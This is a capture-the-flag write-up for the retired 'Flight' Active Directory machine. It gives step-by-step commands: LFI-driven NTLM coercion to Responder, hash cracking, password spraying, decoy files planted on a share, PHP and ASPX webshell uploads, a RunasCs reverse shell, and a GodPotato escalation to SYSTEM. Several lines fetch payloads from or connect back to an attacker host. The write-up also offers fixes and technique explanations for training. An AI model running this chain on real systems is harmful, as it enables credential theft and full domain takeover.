Flight
Summary
Target Flight ($TARGET) is the flight.htb Active Directory domain controller. Vhost discovery uncovered a school.flight.htb site whose page-inclusion parameter accepted forward-slash UNC paths despite blocking backslashes and traversal, letting me coerce the web service account into authenticating to a rogue SMB listener.
The captured NetNTLMv2 hash cracked to a password that S.Moon had reused, and S.Moon's write access to a file share was abused to drop NTLM-coercion files that captured a second user's hash. That user's write access to the site's web root allowed a PHP webshell upload for code execution, and a follow-up RunasCs upgrade produced an interactive shell and user.txt.
From there, a writable internal IIS development site was found listening only on localhost; uploading an ASPX webshell into it yielded code execution as the IIS application pool identity, which held SeImpersonatePrivilege. A GodPotato impersonation exploit turned that privilege into NT AUTHORITY\SYSTEM, giving full control of the domain controller and root.txt.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <baseline_size> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP sweep confirms the AD DC service fingerprint.
$ nmap -p- -sV -Pn $TARGETResolve the base domain locally.
$ echo "$TARGET flight.htb" | sudo tee -a /etc/hostsVhost fuzz discovers school.flight.htb; add it to /etc/hosts once found.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.flight.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline_size>Exact commands 5
Confirm the file-read sink and that forward slashes are not filtered.
$ curl -s 'http://school.flight.htb/index.php?view=C:/windows/system32/drivers/etc/hosts'Start a rogue SMB/HTTP listener to capture coerced NTLM authentication.
$ sudo responder -I tun0Force the web server to authenticate to me over SMB.
$ curl -s "http://school.flight.htb/index.php?view=//$ATTACKER_IP/share/x"Crack the captured NetNTLMv2 hash offline.
$ hashcat -m 5600 svc_apache.ntlmv2 /usr/share/wordlists/rockyou.txtValidate the recovered credential over SMB.
$ netexec smb flight.htb -u svc_apache -p "$PASSWORD3"FixSanitize the page-inclusion parameter and block outbound NTLM authentication to an unauthorised user infrastructureCritical
Exact commands 2
RID-cycle the DC to enumerate domain usernames.
$ impacket-lookupsid flight.htb/svc_apache:"$PASSWORD3"@flight.htbSpray the known password across all enumerated usernames; S.Moon succeeds.
$ netexec smb flight.htb -u users.txt -p "$PASSWORD3" --continue-on-successFixEliminate password reuse across service and user accountsHigh
Exact commands 5
Confirm write access to the Shared share.
$ smbmap -H flight.htb -u S.Moon -p "$PASSWORD3"Generate decoy files (desktop.ini/.url/.lnk) that force SMB auth when browsed.
$ python3 ntlm_theft.py -g all -s $ATTACKER_IP -f xUpload the coercion decoys to the writable share (repeat for each generated variant).
$ smbclient //flight.htb/Shared -U flight.htb/S.Moon%"$PASSWORD3" -c 'put x/x.url x.url'Capture the NetNTLMv2 hash of whoever browses the share next (c.bum).
$ sudo responder -I tun0Crack the captured hash to the password.
$ hashcat -m 5600 c.bum.ntlmv2 /usr/share/wordlists/rockyou.txtFixRestrict write access on general-purpose SMB sharesHigh
Exact commands 4
Upload a PHP webshell into the writable Web share (site document root).
$ smbclient //flight.htb/Web -U flight.htb/C.Bum%"$PASSWORD" -c 'put shell.php styles/shell.php'Confirm code execution as svc_apache.
$ curl -s 'http://school.flight.htb/styles/shell.php?cmd=whoami'
flight\svc_apacheUse RunasCs to spawn an interactive reverse shell as c.bum (no WinRM available).
$ curl -s "http://school.flight.htb/styles/shell.php?cmd=C:\\Windows\\Temp\\RunasCs.exe c.bum $PASSWORD cmd.exe -r $ATTACKER_IP:4444"Catch the reverse shell; then run: whoami && type C:\Users\C.Bum\Desktop\<user.txt>
$ nc -lvnp 4444Exact commands 5
From the c.bum shell — identify the internal-only IIS dev site.
$ netstat -ano | findstr 127.0.0.1:8000Confirm c.bum has write access to the IIS content root.
$ icacls C:\inetpub\developmentStage an ASPX webshell (IIS will not execute .php).
$ certutil -urlcache -f http://$ATTACKER_IP:9001/cmd.aspx C:\inetpub\development\cmd.aspxConfirm execution as iis apppool\defaultapppool.
$ curl.exe -s http://127.0.0.1:8000/cmd.aspx?cmd=whoami
iis apppool\defaultapppoolConfirm SeImpersonatePrivilege is enabled for the app pool identity.
$ curl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=whoami%20/priv"FixRemove world/user write access to the IIS development site content rootHigh
Exact commands 3
Stage the GodPotato binary via the ASPX webshell's execution context.
$ certutil -urlcache -f http://$ATTACKER_IP:9001/GodPotato-NET4.exe C:\inetpub\development\GodPotato-NET4.exeConfirm privilege escalation to nt authority\system.
$ curl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=C:%5Cinetpub%5Cdevelopment%5CGodPotato-NET4.exe%20-cmd%20%22cmd%20/c%20whoami%22"Read root.txt as SYSTEM; replace with <root.txt> when reporting the value.
$ curl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=C:%5Cinetpub%5Cdevelopment%5CGodPotato-NET4.exe%20-cmd%20%22cmd%20/c%20type%20C:%5CUsers%5CAdministrator%5CDesktop%5Croot.txt%22"FixConstrain SeImpersonatePrivilege on service/app-pool accounts to prevent Potato-style escalationCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49677/tcp | unknown recon-sweep-discovered |
| 49678/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49698/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.